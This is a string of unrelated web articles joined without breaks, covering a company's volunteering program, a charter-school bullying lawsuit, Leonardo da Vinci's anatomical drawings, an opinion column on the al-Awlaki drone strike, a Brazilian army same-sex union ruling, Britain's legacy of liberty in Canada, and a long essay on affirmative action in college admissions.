As part of our company goal to achieve 100 percent participation in Community Days, we’ve created a Great Game of Business Mini Game to incentivize involvement. Every team member who completes a Community Day and shares their experience is entered into a quarterly drawing to win $100 to donate to a charity of their choice. In the drawing following Hurricane Harvey, Chris happened to be the winner and he was able to give back to Houston in yet another way. It was powerful for our team back in Michigan (and across the country!) to know that imageOne was able to make a difference through Chris.
The Community Day program has been an integral part of our cultural growth. Since making these investments in our culture in 2014, our profits have been on the rise, with 2017 being our best year in company history. We enjoyed a three-year streak of zero employee turnover across 57 employees. Most importantly, we defined the imageOne Cycle of Care. It’s the idea that by genuinely caring about our team, the success of our clients and the fabric of our community, it creates an authentic cycle of care all around — and sends it out to the universe!
Ultimately, the motivation behind all of our community efforts is to answer this question: If our company didn’t exist anymore, would there be a void? Would anyone notice or care? We want the answer to always be a resounding yes. As imageOne’s Community Day Champion, Kristy Swope, likes to remind us, “It all comes down to happiness. We want to find new ways to help team members be truly happy at work, and in turn, happier in their lives.”Papers filed in a civil suit against Richard Izquierdo Arroyo, chairman of the South Bronx Charter School for the International Culture and the Arts, charge that the chairman failed to protect a student, James Pastrana, from Jared Alessandroni, a teacher who threatened to "out" him.
The NYDN: "The suit filed in Bronx Supreme Court earlier this week says teacher Jared Alessandroni repeatedly called Pastrana's son, now 10, 'gay' and twisted his arm in March 2009.
'There were a lot of sexually inappropriate comments directed toward my son,' Pastrana said.
The suit also names Alessandroni, who has resigned but denies the charges, and Principal Evelyn Hey, who had no comment. A spokesman for the charter's operator, Victory Schools, said the suit is baseless."
The NY Post has more: "A Bronx charter school is under fire from parents who say a teacher bullied kids — and even forced one child to tell his crush, a girl, that he was gay.
According to court papers filed this week, the teacher, Jared Alessandroni, 29, threatened to 'out' a straight 9-year-old boy, James Pastrana, to his class at the South Bronx Charter School for International Cultures and the Arts, unless James told his crush he was gay.
'I was so humiliated,' said Pastrana, who reluctantly scribbled the false confession in a note to the girl. 'It started to spread around the whole class and then everyone wanted to call me gay.'"The unseen genius of Da Vinci: The 24 drawings kept under lock and key by the Queen that reveal just how far ahead of his time artist really was
Da Vinci's fascination with the human body led him to embark on a 'campaign of dissection' in hospitals
Some of his findings were so revolutionary some could not be proved until the development of MRI scanners
The artist came tantalisingly close to discovering the science of blood circulation - a century before it was achieved
If his findings had been published, his discoveries would have transformed European knowledge on the subject
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He is already recognised as one of the greatest artists of the Renaissance period.
Now a stunning new exhibition at Buckingham Palace demonstrates how Leonardo da Vinci was also one of the most ground-breaking anatomists of all time.
Indeed his findings dating from the late 1490s and early 1500s were so revolutionary that some could not be conclusively proved until the development of MRI (Magnetic Resonance Imaging) scanners in the 1980s, which use radio waves to take detailed pictures of the body.
Scroll down for video
Among the 24 sketches never before seen included a detailed study of the right ventricle and valves of the heart
A closer examination of the right ventricle and tricuspid valve, left, and far right, Da Vinci pens his analysis of the movement inside the heart
Da Vanci explores the vessels of the neck and shoulder, left, and right, the bones and muscles of the shoulder
Da Vinci's fascination with the human body began through his desire to be 'true to nature' in his paintings and led him to embark on what can only be described as a campaign of dissection in hospitals and medical schools throughout Florence.
Many of the corpses he worked on were the bodies of executed criminals or those who had no relatives to claim them for burial.
He had hoped to publish his findings in a treatise on anatomy and had he done so, his discoveries would have transformed European knowledge on the subject.
But on his death in 1519, his notes and drawings remained hidden away amongst his mass of private papers and effectively lost to the world for 400 years.
Arguably his greatest investigations focus on the workings of the heart - and the artist came tantalisingly close to discovering the science behind the circulation of blood, a century before it was officially achieved.
According to Royal Collection curator Martin Clayton, da Vinci became fascinated with a swelling he discovered at the root of the aorta, just beneath the aortic valve.
The brachial plexus, and umbilical vessels, left, and right, the veins of the pelvic and lumbar region
The brachial plexus, left, and right, Da Vinci explores the thetrachea, stomach and right vagus nerve
Leonardo Da Vinci, right, also paid close attention to the abdomen, left, during his extensive analysis of the human anatomy
In order to investigate this he injected melted wax into the heart of an ox in order to make a cast from inside the cavity.
He then made a glass model from the cast which he pumped with water containing a suspension of grass seeds so that he could witness the 'turbulence' that took place.
From his research he deduced that this swelling was responsible for the closure of the aortic value after each beat of the heart - a theory which was not suggested again until 1912 and even then not conclusively confirmed until less than 30 years ago.
Another ground-breaking discovery came in the winter of 1508-1509 when da Vinci was present at the death of an old man.
He wrote: 'And this old man, a few hours before his death, told me that he was over 100 years old, and that he felt nothing wrong with his body other than weakness... And I dissected him to see the cause of so sweet a death.'
Da Vinci then goes on to provide the first ever description and diagnosis of coronary vascular occlusion - a partial or complete blockage of an artery to the heart - as well as arteriosclerosis, or a hardening of the arteries, and cirrhosis of the liver.
The muscles of the trunk and leg, left, and right, the stomach and related structures
The muscles of the legs, left, and right, the male and female reproductive systems, with a detailed breakdown of the individual parts for both men and women
The muscles of the leg, right, and left, a close look at the individual nerves inside the leg
Other studies concentrate on muscle form and the body's reproductive organs, particularly the formation of embryos, with astonishingly detailed drawings of babies still inside their mother's bodies.
One study illustrating every bone in the human body is accompanied by 240 individual drawings of astounding clarity and more than 13,000 words of notes - all in his famed'mirror writing'.
There has been much debate as to why da Vinci wrote backwards but most seem to think that it was down to a combination of him being left handed and dyslexic. Writing in this manner enabled his hand to move quickly without smudging the ink.
'To say that Leonardo was a man ahead of his time doesn't even come close to describing his genius,' explained Mr Clayton.
'His drawings are among the finest depictions of the human body ever created. Had he published this work, he would now be known as one of the greatest scientists in history.'
Professor Peter Abrahams, Professor of Clinical Anatomy at Warwick Medical School, added: 'For me as an anatomist, what Leonardo did was bring all his disciplines of architecture, geometry, engineering and combine it with an art expression that was quite unique. He put all these things together to try and explain not only how things looked but how things worked, and in that he was certainly unique.
The cardiovascular system and principal organs of a woman, right, and left, extracts from The Centenarian, Anatomical Manuscript B that Da Vinci penned
The contents of the topics to be investigated in the manuscript that has gone on display, and right, miscellaneous notes and anatomical sketches
Amongst his studies he also investigated the thoracic and abdominal cavities of an ox, left, and right, the blood supply of a foetal calf
'If you were to take ten specialists in the fields of which he worked, geometry, anatomy, physiology, engineering and architecture, I doubt if ten professors in those fields would have the knowledge base and talents that Leonardo had.'
Da Vinci, who died in 1519, bequeathed all his notebooks and drawings to his young assistant, Francesco Melzi, who, over the next 50 years, tried to make sense of his master's daunting legacy.
His son sold on many of the papers to the sculptor Pompeo Leoni who mounted the anatomical drawings into a large album which eventually made its way to England and is believed to have been bought by King Charles II.
It has been in the Royal Collection, which is held in trust by The Queen for the nation, since at least 1690.
The collection boasts the largest compendium of Leonardo drawings in the world, some 600 in all, of which 268 are anatomical sketches. Only one other of his anatomical drawings exists elsewhere today.
Of these, 87 are currently on display at The Queen's Gallery in Buckingham Palace - many of which have never been publicly seen since they were drawn by the genius himself.
Leonardo da Vinci: Anatomist runs until October. For further details see www.royalcollection.org.uk.
One of Da VInci's more well-known anatomical drawings, 'The Foetus in the Womb'Consider the most extremist act President Barack Obama has taken: he put an American on a secret kill list, sent a drone to find the man, and blew him up. No judge. No jury. Just a summary execution. The target might have deserved to die. But he had a right to a trial, even in absentia. The Fifth Amendment guarantees that no one will be deprived of life without due process.
When Obama killed that man, Anwar al-Awlaki, he violated the Constitution and set a dangerous precedent: An American can be killed for a capital crime without being convicted. He need merely stand accused by the White House.
Before taking this radical action, President Obama sought legal cover. The name of the lawyer who approved the extrajudicial killing of an American is David Barron. Normally, the lawyer’s name wouldn’t matter. Washington, D.C., is full of lawyers who’ll enable the president, whatever it is he wants to do.
But it’s important to remember Barron’s name because, after he helped to violate due-process rights, Obama offered him a lifetime appointment as a federal judge. His job will be to interpret the Constitution and to safeguard the rights of Americans. I do not think he is qualified for the position, given his role subverting the Fifth Amendment. But the U.S. Senate confirmed his nomination last week.
Judge David Barron will preside.
He was supported by almost every Democrat, including California’s delegation: Sens. Dianne Feinstein and Barbara Boxer. Would a majority of their constituents want them advancing the career of a lawyer who enabled a drone strike on an American? During the Bush years, the Democratic Party, including Barack Obama, complained that it was unlawful to merely detain Americans accused of terrorism without giving them an opportunity to prove their innocence.
Now Democrats are OK with the outright killing of suspected terrorists without trial?
The hypocrisy is staggering.
Sen. Rand Paul, a Kentucky Republican, vocally opposed Judge Barron’s confirmation, and explained why his legal work on extrajudicial killing is so glaringly imprudent. To protect the innocent, Paul said, America “places the burden of proof on the prosecution. We require the government to collect and present enough compelling evidence to a jury – not to one person who works for the president, not to a bunch of people who work in secret, but to a jury.
“Then we go even further. We require that the accused is guilty beyond reasonable doubt. We set a very high bar for conviction and an extremely high bar for execution. And even after doing all of the right things, we’ve still sometimes got it wrong and executed people after jury trials mistakenly, erroneously. But now we’re talking about not even having the protection of a trial. We’re talking about only accusations. Are we comfortable killing American citizens, no matter how awful or heinous the crime they’re accused of, are we comfortable killing them based on accusations that no jury has reviewed?”
Sen. Paul is keeping his head while those around him are losing theirs.
At present, too many Americans are comfortable with extrajudicial killings. Many aren’t aware that Obama has carried them out against American citizens. Others assume that anyone executed in this fashion must be a bad guy. Yet it is folly to believe that politicians can wield a power as awesome as extrajudicial executions without abusing it. If abuse hasn’t happened already, it will occur in the future unless this precedent is repudiated.
Our constitutional system was designed to deny anyone unchecked power so extreme.
Judge Barron evidently thinks otherwise. And he’ll now be interpreting the Constitution for years to come, thanks to Senate Democrats who’ve lost sight of the Fifth Amendment’s importance, just as Republicans lost sight of its importance when a GOP president was in charge. If neither party will consistently defend the Bill of Rights, what is to become of it?
Staff opinion columnist Conor Friedersdorf also is a staff writer for the Atlantic.SAO PAULO — A court in the northeastern state of Pernambuco has ordered Brazil’s Army for the first time to recognize a same-sex civil union between a sergeant and his companion.
Judge Elio Siqueira said in his ruling that the couple is entitled to the same rights as heterosexual couples in terms of things such as alimony and retirement benefits because the two have been in a stable civil union for three years.
The sergeant’s attorney, Laurecilia de Sa Ferraz, said Friday it was “the first time a court ordered the Army to recognize a same-sex union of one its officers.” She said the army has 30 days to appeal the ruling “but I don’t think it will.” The army said it had no comment because it has not been officially notified of the ruling.
Ferraz said her client turned to the court after the army refused to recognize his civil union with his companion, a computer science student.
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In 2011, Brazil’s Supreme Court ruled that civil uni ons between same-sex couples must be allowed and that gay couples have the same legal rights as heterosexual pairs.
In May, the country’s National Council of Justice ruled that Brazilian notary publics must register same-sex civil unions as marriages if the couple requests it, and 14 of Brazil’s 27 states so far have legalized same-sex marriages. Efforts in Congress to approve a bill legalizing gay marriage across the nation have been thwarted by conservative evangelical legislators.
Last year, 1,277 same sex couples registered such civil unions with notary publics.
© 2013, Associated Press, All Rights Reserved.
This material may not be published, broadcast, rewritten, or redistributed.
This Story Filed UnderThe debt ceiling is a time bomb with a faulty timer: All of Washington sees it ticking toward default, but nobody knows exactly when it will explode.
In a letter to House Speaker John Boehner, Treasury Secretary Jacob Lew projected that the department’s “extraordinary measures” currently being taken to avoid default will be “exhausted in the middle of October.” From there, Lew writes, the United States would have only whatever cash Treas |
example, we possess British assumptions. They result from a long tradition of practical thinkers and then advocates and politicians who expanded the scope of what was possible on matters of conscience, practice, voting, citizenship and then representation. Recall that in 18th century Britain, and still in many nations today, the possibility of full citizenship was restricted due to one’s faith—if one was Catholic or Jewish, for example.
But that did not last forever and expanding freedom here resulted from British writers and parliamentarians who argued against historic prejudices. Thus Catholic emancipation decisively occurred in 1829 when Catholics were finally allowed to sit in parliament at Westminster. (In Canada, Catholic emancipation occurred six years earlier. Laurence Kavanagh, a Catholic, was the first such representative to sit in Nova Scotia’s legislature, the House of Assembly, in 1823.) British Jews were emancipated in 1858 with the first Jewish Member of Parliament taking his own seat in parliament that year.
One Englishman, John Stuart Mill, pushed ahead such freedom-expanding assumptions and actions in the ensuing decades courtesy of his 1859 book, On Liberty. It is still worth reading for its defence of intellectual freedom, including the right to question beliefs one might assume should never be debated again: “The beliefs which we have most warrant for, have no safeguard to rest on, but a standing invitation to the whole world to prove them unfounded,” wrote Mill, in defence of the need to criticize established opinion.
In On Liberty, he also helped along women’s equality and thus suffrage—“wives should have the same rights, and should receive the protection of law in the same manner” wrote Mill, who labeled the denial of such rights as “evil”.
A caveat but in perspective
There is a caveat in all this and it should be stated frankly: Not all that Great Britain did or represents was without blemish. That point is often overstated today and in black-and-white assumptions, accusations and language—plenty of examples cropped up on July 1.
But there were indeed wrongs and grave sins. For example in China and Hong Kong the addictive, destructive opium trade was protected by British policy; the ongoing denial of political liberties in Hong Kong until near the end of British rule was a blemish on an otherwise excellent record for individual and economic liberties.
Similarly, the bigotries of an initially British-run and later British-influenced early Canada harmed those not of the majority faith and ancestry. Aboriginal Canadians, while arguably less harmed under British rule when compared with American policy—one damns with faint praise here—were still the target of prejudiced legislation. One example: the right to vote was only restored to Aboriginal Canadians in 1960 by Prime Minister John Diefenbaker’s government.
Don’t send laudable British influence down the “memory hole”
But the easy criticism often expressed today in demands for apologies, or the re-naming of buildings with British (or French) heritage, or any number of additional attempts to damn the past through Orwellian “memory hole” actions, miss two useful points about British influence:
First, when looking back, one should always compare to local alternatives available at the time and not perfection. Compared with the tyranny of Chinese communism or even on its own merits, Hong Kong was a beacon of freedom and prosperity. One should consider the entirety of British imperial rule and avoid the twin extremes of either unrealistic romanticization or wholesale condemnation.
Avoid the extremes then and a second point becomes clearer: what Great Britain began is of greater importance than whether it fully, perfectly practiced an ideal.
Perfection is not given to men and women and the “working out” of British ideals on liberty mattered: The right to property courtesy of the 1215 Magna Carta; the limits on monarchical sovereignty and thus on tyranny best exemplified in England’s Glorious Revolution in 1689; Great Britain’s embrace of freer markets over French mercantilism and Spanish and Portuguese colonial “extraction” economics; the long British tradition of the rule of law; the battles against slavery including in Aboriginal societies; and finally, Britain’s centuries-long expansion of the notion of rights which allowed for progressive emancipation of Catholics, Jews, women and eventually Aboriginal Canadians: Recall the actions of the 20th century’s most devoted anglophile prime minister, John Diefenbaker.
The many British contributions to Canada are perhaps best encapsulated by then opposition Liberal leader, Wilfrid Laurier in an 1894 speech in Winnipeg. Laurier was attacking an economically protectionist Tory policy. In so doing, he referenced and praised the contributions of the Anglo-Saxons which he summed up as a preference for freedom: “The good Saxon word, freedom; freedom in every sense of the term, freedom of speech, freedom of action, freedom in religious life and civil life and last but not least, freedom in commercial life.”
Five years ago, my political, business and civil service acquaintances in Hong Kong emphasized two classic British influences, free enterprise the rule of law.
But whether those or others, the legacy of Great Britain was critical to Hong Kong’s prosperity and now its liberty-assuming norms in a variety of areas.
Great Britain’s even deeper legacy on this continent and the “germ” of extensive checks on power and self-replicating expansion of core liberties is what allowed for a full flowering Canada to become Canada. Contra the critics, that British influence should be celebrated this summer and for the next 150 years.
Mark Milke is an author, columnist and president of the Sir Winston Churchill Society of CalgaryIn his 1965 commencement address at Howard University, President Lyndon Johnson declared, “You do not take a person who, for years, has been hobbled by chains and liberate him, bring him up to the starting line of a race and then say, ‘you are free to compete with all the others,’ and still justly believe that you have been completely fair.” The affirmative-action approach President Johnson proposed in that speech was to be a moral and policy response to the losses, both material and psychological, suffered by African Americans during and after the time of slavery: “We seek not just freedom but opportunity—not just legal equity but human ability—not just equality as a right and a theory, but equality as a fact and as a result.” Johnson’s speech was followed in 1965 by executive orders aiming “to correct the effects of past and present discrimination.” Universities and colleges across the land soon adopted affirmative-action policies. More than 45 years have passed since that June afternoon on the Howard campus. What is the fate of Johnson’s triumphant vision in the world we now occupy?
If you listen to Roger Clegg, who heads up the Center for Equal Opportunity, a conservative think tank devoted to “colorblind public policy,” the answer is that the practice of affirmative action in higher education has put the country on the path to grievous error. Clegg believes, as he said in a 2007 speech to the Heritage Foundation, that the policy “passes over better qualified students, and sets a disturbing legal, political, and moral precedent in allowing racial discrimination; … it stigmatizes the so-called beneficiaries … fosters a victim mindset, removes the incentive for academic excellence, and encourages separatism; it compromises the academic mission of the university and lowers the overall academic quality of the student body.” He contends, as do his many allies, that anything diluting academic excellence hurts teachers and students alike because colleges and universities exist primarily to protect and exalt the life of the mind.
A very different response to Johnson’s speech came, 38 years after its delivery, from within the chambers of the United States Supreme Court. In 2003, Justice Sandra Day O’Connor, having just voted on two cases involving the admissions policies of the University of Michigan, predicted that affirmative action would soon end because it would no longer be needed:
Finally, race-conscious admissions policies must be limited in time. The Court takes the Law School at its word that it would like nothing better than to find a race-neutral admissions formula and will terminate its use of racial preferences as soon as practicable. The Court expects that 25 years from now, the use of racial preferences will no longer be necessary to further the interest approved today.
We stand, as a country, somewhere amid President Johnson’s vision, Roger Clegg’s hostility, and Justice O’Connor’s expectation. Anyone interested in higher education should want to contemplate, on behalf of colleges and universities, students and faculty, alumni and paying parents, the fate of affirmative action. How should it now play out on campus after campus? Will it continue until the year 2028? If not, why not? If so, should it then end? If not, for how long should it be sustained?
To begin to answer these questions, it is important to acknowledge the educational milieu in which affirmative action has been practiced. Two fundamental ambitions have long characterized the culture of our colleges and universities: they have sought to be meritocracies, and they have sought to be egalitarian communities. The first goal gives primacy to intellectual accomplishment, the second to community rapport. Students are prompted by the first to demonstrate their full mental powers, by the second to be citizens of what Plato’s Republic as well as John Henry Newman’s ideal university were to be: a model commonwealth. In his book The Idea of a University, Newman said, “I cannot but think that statesmanship … is learned, not by books, but in certain centres of education.” The one is not the other. “Being as smart as you can be” is only hazily connected to “learning from each other in a mutually beneficial way.” The tension between the two is never resolvable; that tension is where arguments about affirmative action find their campus home.
Those people who champion affirmative action assert that much of what education offers is social, participatory, and communal. Enrolling students of many different ethnic backgrounds and of unequal educational achievement, they say, only helps the institution and, again, its students. They believe that the educational process is itself corrupt if it does not bring together the full spectrum—the diversity—of American young people. Using the helping hand, they argue, means creating a better education for everyone and fulfilling a civic obligation to enroll a given number of students for the purpose of creating a stronger and more democratic society.
The history of affirmative action includes the graduation of thousands of young men and women who otherwise would not have passed within the gates of a college or university. Many of those graduates have gone on to professional careers where their success has helped to reinvigorate the American dream. They have become physicians, diplomats, lawyers, Army officers, stockbrokers, journalists, high government officials, scientists, and business leaders. Why, advocates of affirmative action now ask, should their number not be augmented?
But before all else, it’s worth asking whether affirmative action is really needed. For all their differences, both critics and advocates acknowledge that some classes of students, particularly African-American and Hispanic, cannot gain admission to many colleges and universities solely on the basis of their academic preparation. They need preferential treatment to enter the model commonwealth. The College Board last measured mean Scholastic Aptitude Scores by Ethnicity in 2008; the results are sobering:
Group Critical Reading Mathematics Writing Asian 513 581 516 Black 430 426 424 Mexican American 454 463 447 White 528 537 518 All 502 515 494
In critical reading, African-American students scored, on average, 83 points below Asian-American students, who in turn scored less well, by 15 points, than white students. But in mathematics, Asian-American students trumped both whites and African Americans, by 44 points and 155 points respectively. In writing, whites did just about as well as Asian Americans (two points higher) and considerably better than African Americans (94 points higher). And in every category, Mexican Americans did less well than whites and Asian Americans but better than African Americans. With such dissimilar scores facing them over the years (the year 2008 being little different from the previous five years), admissions officers at colleges or universities have introduced handicapping measures in order to admit applicants with weaker scores. Those measures have hardly been trivial.
One important set of studies, by Thomas Espenshade of Princeton University and his colleagues, examined the records of more than 100,000 applicants to three highly selective private universities. They found that being an African-American candidate was worth, on average, an additional 230 SAT points on the 1600-point scale and that being Hispanic was worth an additional 185 points, but that being an Asian-American candidate warranted the loss, on average, of 50 SAT points.
What happens if the handicapping is taken away? The same authors found that the outcome would be dramatic, with acceptance rates falling for African-American applicants from 31 percent to 13 percent and for Hispanic applicants by as much as one-half to two-thirds; Asian-American applicants would occupy four out of five of the seats created by fewer African-American and Hispanic acceptances. The Asian-American acceptance rate would rise by one-third from nearly 18 percent to more than 23 percent. Most astonishingly, it turns out that—contrary to the assumptions of those who contend that affirmative action puts white students at a severe disadvantage—white applicants would benefit very little from the removal of racial and ethnic preferences; their acceptance rate would increase by less than one percentage point.
Given the probable results of eliminating affirmative action—a student body consisting almost wholly of whites and Asian Americans—no chief administrator of a respectable college or university would happily oversee the erosion of the presence of black or Hispanic students. That is why no such institution has volunteered to be first to proclaim that it will formally jettison affirmative action. In order to protect what they see as the positive results of the practice and also to protect themselves against litigation by a white plaintiff arguing that his or her chance of admission has been jeopardized, colleges and universities have increasingly relied on admissions standards that depend less on SAT scores and more on intangible and personal attributes: having leadership skills, having the strength to overcome social and economic circumstances, or being the first in the family to seek higher education. With such careful consideration, the candidates can then be admitted (or rejected) one by one.
But careful consideration of this sort is expensive. It requires many people to read, with sensitivity, thousands upon thousands of files, and to make judgments requiring a delicate understanding of the abilities and character, the social background and the hidden promise, of the young people represented by those files.
The two celebrated cases emerging from the University of Michigan, about which Justice O’Connor made her memorable remark, illustrate the situation faced by a leading public institution practicing affirmative action. The Supreme Court employed “strict scrutiny” in reaching its decisions. And, as the Court saw, when the university itself employed careful scrutiny in its admissions procedures, it was entitled to an important victory.
One case addressed the admissions policies of Michigan’s law school (Grutter v. Bollinger et al.); the other addressed undergraduate admissions in its college (Gratz et al. v. Bollinger et al.). The former found for the university, declaring, “The narrowly tailored use of race in admissions decisions to further a compelling interest in obtaining the educational benefits that flow from a diverse student body is not prohibited by the Equal Protection Clause.” The latter decision found against the university, noting that its “current policy, which automatically distributes 20 points, or one-fifth of the points needed to guarantee admission, to every single ‘underrepresented minority’ applicant solely because of race, is not narrowly tailored to achieve educational diversity.”
For the Court, narrow tailoring was the factor on which its decisions turned. The Court asked the university if candidates for admission had been considered one by one (“holistically,” in the parlance of admissions officers) or if each had been given a unique profile based on factors both quantitative and qualitative. The law school responded with a record of showing it had considered candidates one by one; the undergraduate college hadn’t done so. The college automatically gave considerable weight to race, doubtlessly because of the number of candidates it annually faced, more than 25,000. Only by gross mechanistic methods could it pluck out those to be admitted from such a profusion of applicants. The applicant pool faced by the law school was much smaller and therefore greater care could be devoted to each dossier.
The distinction between the two cases is sharp, and the lesson deriving from it is crucial. First, the Court located a compelling constitutional interest in student diversity; race and ethnicity could be taken into account in admissions (provided that narrow tailoring is practiced) even when the government did not find specific discrimination. Moreover, the Court acknowledged that the composition of student bodies presents unusual, vital, and sensitive considerations. While it said that the big 20-point automatic advantage was no longer there for the taking, it also declared that colleges and universities could, if they wished, adhere to procedures both labor intensive and expensive, but neither mechanistic nor entirely quantitative, to arrive at the goal of genuine racial diversity.
Upon hearing these two decisions, the University of Michigan could declare a real, if partial, victory. But its satisfaction was short-lived. In the immediate aftermath of the Court action, the citizens of the state reared back and passed, by a decisive margin, the “Michigan Civil Rights Initiative,” amending the state constitution to prohibit state agencies and institutions from operating affirmative-action programs granting preferences based on race, color, ethnicity, national origin, or gender. The amendment, having decisively passed with 58 percent of the vote, became law in December 2006.
Similar action had been taken a decade earlier in California. Citizens there voted Proposition 209 into law in November 1996, with 54 percent of the vote. It banned every form of discrimination on the basis of race, sex, or ethnicity at any public entity in California. Within little less than a decade, black enrollment in the freshman class at UCLA had dropped from 211 to 96 and at UC Berkeley from 258 to 140. In the state of Washington, Initiative 200, which passed in 1998, ordered public agencies to cease giving preferential treatment on the basis of race, sex, color, ethnicity, or national origin. It effectively ended affirmative action by state and local governments in hiring, contracting, and school admissions. This law was approved by 58 percent of the voters. Elsewhere and earlier (Hopwood v. Texas, March 1996), a federal circuit court had curtailed affirmative-action programs at public colleges and universities in three other states (Texas, Louisiana, and Mississippi). In Florida, Governor Jeb Bush simply issued an executive order banning affirmative action. In the California and Michigan cases, Ward Connerly, once a regent of the University of California system, led campaigns barring the use of racial preferences. Before the elections of November 2008, with the ambition of introducing legislation banning affirmative action across the country, he took aim at Nebraska and Colorado. In the former, a proposal to ban affirmative action passed handily; in the latter, a similar proposal failed by a very small margin. And in November of 2010, Arizona voters approved Proposition 107; it bans consideration of race, ethnicity, or gender by any unit of state government, including the state’s public colleges and universities.
Referendums are one thing; public opinion is another. When it comes to what Americans feel about the practice, polls reveal that positive attitudes toward affirmative action in college admissions, while always in flux, are usually in jeopardy. Back in 2003, Gallup revealed that 69 percent of those asked thought that merit alone should be weighed in college admissions. Three years earlier, an Associated Press poll indicated that 53 percent of those polled thought affirmative action should be continued in admissions, with 35 percent saying it should be abolished. The same year, a Time/CNN poll showed 54 percent disapproval of affirmative action and 39 percent approval. A CBS News Poll in January 2006 revealed that 12 percent of those responding believed that affirmative action should be ended immediately; 33 percent said it should be phased out; and 36 percent believed it should be continued. The latest poll (from Quinnipiac University) reported in 2009 that affirmative action is opposed by 61 to 33 percent of those responding (with black voters supporting it by 69 to 26 percent and Hispanics by 51 to 46 percent). Such shifting attitudes provide nothing but chilly comfort to champions of affirmative action.
On a variety of fronts, then, the practice now faces more resistance in this nation than ever before. Should another affirmative action case be granted certiorari by the United States Supreme Court, there is every reason to think that it will meet determined resistance by all the conservative justices.
In the face of that resistance, colleges and universities themselves are silently backing away, bit by bit, from affirmative action. Data from more than 1,300 four-year colleges and universities in the United States show that the use of race and ethnicity in admissions declined sharply after the mid-1990s, especially at public institutions. The proportion of public four-year colleges considering minority status in admissions has fallen from more than 60 percent to about 35 percent. Among private institutions, the drop during the same years has been notable but less dramatic, from 57 percent to 45 percent. The major decline came after 1995, when the campaign against affirmative action intensified, and schools, particularly public ones, thrown on the defensive, retreated. They were reacting not only to actual litigation but also to its threat. While colleges and universities that are considered elite are more likely to have practiced affirmative action and to have been more protective of it, even they have retreated. Few innovative or vigorous forms of affirmative action are now in play in the face of courts and federal agencies exercising strict scrutiny when examining admissions procedures and in the face of an increasingly suspicious citizenry.
Another reality is redefining, and probably weakening, the meaning of affirmative action. Although few schools publicize the fact, one of the central historic principles giving rise to affirmative action is being undermined. President Johnson’s speech assumed that affirmative action would help the descendants of former slaves (he made no mention of Hispanics). That assumption from yesteryear is out of sync with today’s realities. Affirmative action more and more functions to open the campus not only to the descendants of former slaves but to black students with different cultural and political heritages. Once championed, as in Johnson’s speech, as a means of reparation or restitution, affirmative action now turns out to be helping hundreds and hundreds of young people who have suffered the wounds of old-fashioned American racism little or not at all. More than a quarter of the black students enrolled at selective American colleges and universities are immigrants or the children of immigrants. African-American students born in the United States thus turn out to be more underrepresented (given their presence in the U.S. population) at selective colleges than one might imagine. At some of the most exclusive institutions (Columbia, Princeton, Yale, and the University of Pennsylvania), no less than two-fifths of those admitted as “black” are of immigrant origin. Such facts, as they come into view, blunt the force of arguments favoring affirmative action. Diversity and restitution are better reasons than diversity alone, but restitution seems less and less in play.
Diversity itself, moreover, seems weaker and weaker as an argument for affirmative action when many campuses now appear, at least to the public at large, more diverse than ever before. The increasing presence on campus of students from myriad ethnic groups (Indian, Vietnamese, Chinese, Korean, Iranian, and many others) and the consequent reduction of “white” students (witness student populations at the University of California at Berkeley, UCLA, Stanford, USC, Columbia, and other schools) undercut the notion that American higher education is still unfairly monochromatic.
Yet another reason lies behind the decline, in practice, of affirmative action: it is expensive—in more ways than one. A large proportion of students benefiting from affirmative action benefit from financial aid. As administrators, facing breathtaking drops in endowment and thus endowment income, constantly scrutinize budgets to find ways to strip out costs, they look hungrily at the sizable amount of money that could come from tuition income (an asset) that is lost in financial aid (a liability). They remain aware of the institutional commitment to the social good of affirmative action and of the model commonwealth; but as officials responsible for the fiscal health of the schools where they work, they know the cost of supporting such a social good. The tension between doing what is right for society in the largest sense and keeping the school solvent bedevils such administrators. Nonetheless, as the tension is resolved, affirmative action is further compromised.
Facing this kind of opposition—legal, public opinion, and fiscal—what, then, is the likely future of affirmative action? We return to Justice O’Connor’s remark about 2028. She was, I think, wrong if she was making a prediction. (And, indeed, she has backed off the remark.) Affirmative action will still be needed to fortify the model commonwealth, and it will still be needed given the continuing gap in tested academic preparation between black and Hispanic students and others. Thomas Espenshade, the Princeton professor who has studied admissions numbers, predicts that, given the slow rate of convergence in test outcomes between black and white students, “it is likely to take another century to reach parity.” And for all that time, affirmative action will likely meet with opposition in the courts and in public opinion almost everywhere it is practiced. But the differences between public and private institutions suggest a solution to the legal and ethical challenge presented by affirmative action.
Public institutions, post-Michigan, will continue to confront vigilant and skeptical adversaries determined to discover if the admissions procedures at such places are flouting the law by allowing affirmative-action policies to fly below the radar. When Justice Ruth Bader Ginsburg dissented in Gratz et al. v. Bollinger et al., she commented that there was one thing worse than racially divisive admission policies, and that was “achieving similar numbers through winks, nods and disguises.” No public institution can now afford the slightest risk of contriving artificial and bad-faith circumventions of the law.
But private institutions are different, very different. Their relative insulation from courts (because they do not take much public money) and referendums allows them to protect affirmative action more steadfastly than public institutions can. One person at the center of the Supreme Court’s decisions in 2003, Lee C. Bollinger, who was president of the University of Michigan from 1996 to 2002 and is now president of Columbia, a private university, told The Chronicle Review in 2007, “I am glad that independent institutions retain the autonomy to support diversity efforts that make our graduates more competitive candidates for employers and graduate schools, as well as better informed citizens in our democracy and the world.” And former Justice O’Connor herself, perhaps imagining the years from now until 2028, observed in 2007 the irony that private colleges, not covered by state bans on preferences, may—by virtue of that autonomy—end up being more diverse in their enrollments than public colleges.
But oddly enough, private colleges and universities may turn out to be relatively less attractive targets than public institutions for some potential litigants. That is because anti-affirmative-action organizations, such as the Center for Equal Opportunity (led by Linda Chavez and Roger Clegg) or its companion-in-arms, the Center for Individual Rights (led by Terence J. Pell), which might be expected to bring suits pleading reverse discrimination against selective public and private institutions in equal measure, strongly favor individual rights and generally dislike intrusions on what they deem as institutions not established by the government. Jonathan Alger, senior vice president and general counsel at Rutgers University, follows these issues closely and has observed that public institutions, as taxpayer-supported entities, are often seen by such organizations as more attractive targets for litigation involving the application of federal anti-discrimination law.
Hence, if they are prepared to spend the money to admit students “holistically,” one by one, and if they are comfortable with some admitted students whose board scores and grades are noncompetitive but whose individual promise is compelling, private schools can hold on to some level of affirmative action. Like public institutions, however, they cannot afford to disregard budgetary reality: affirmative action never comes free.
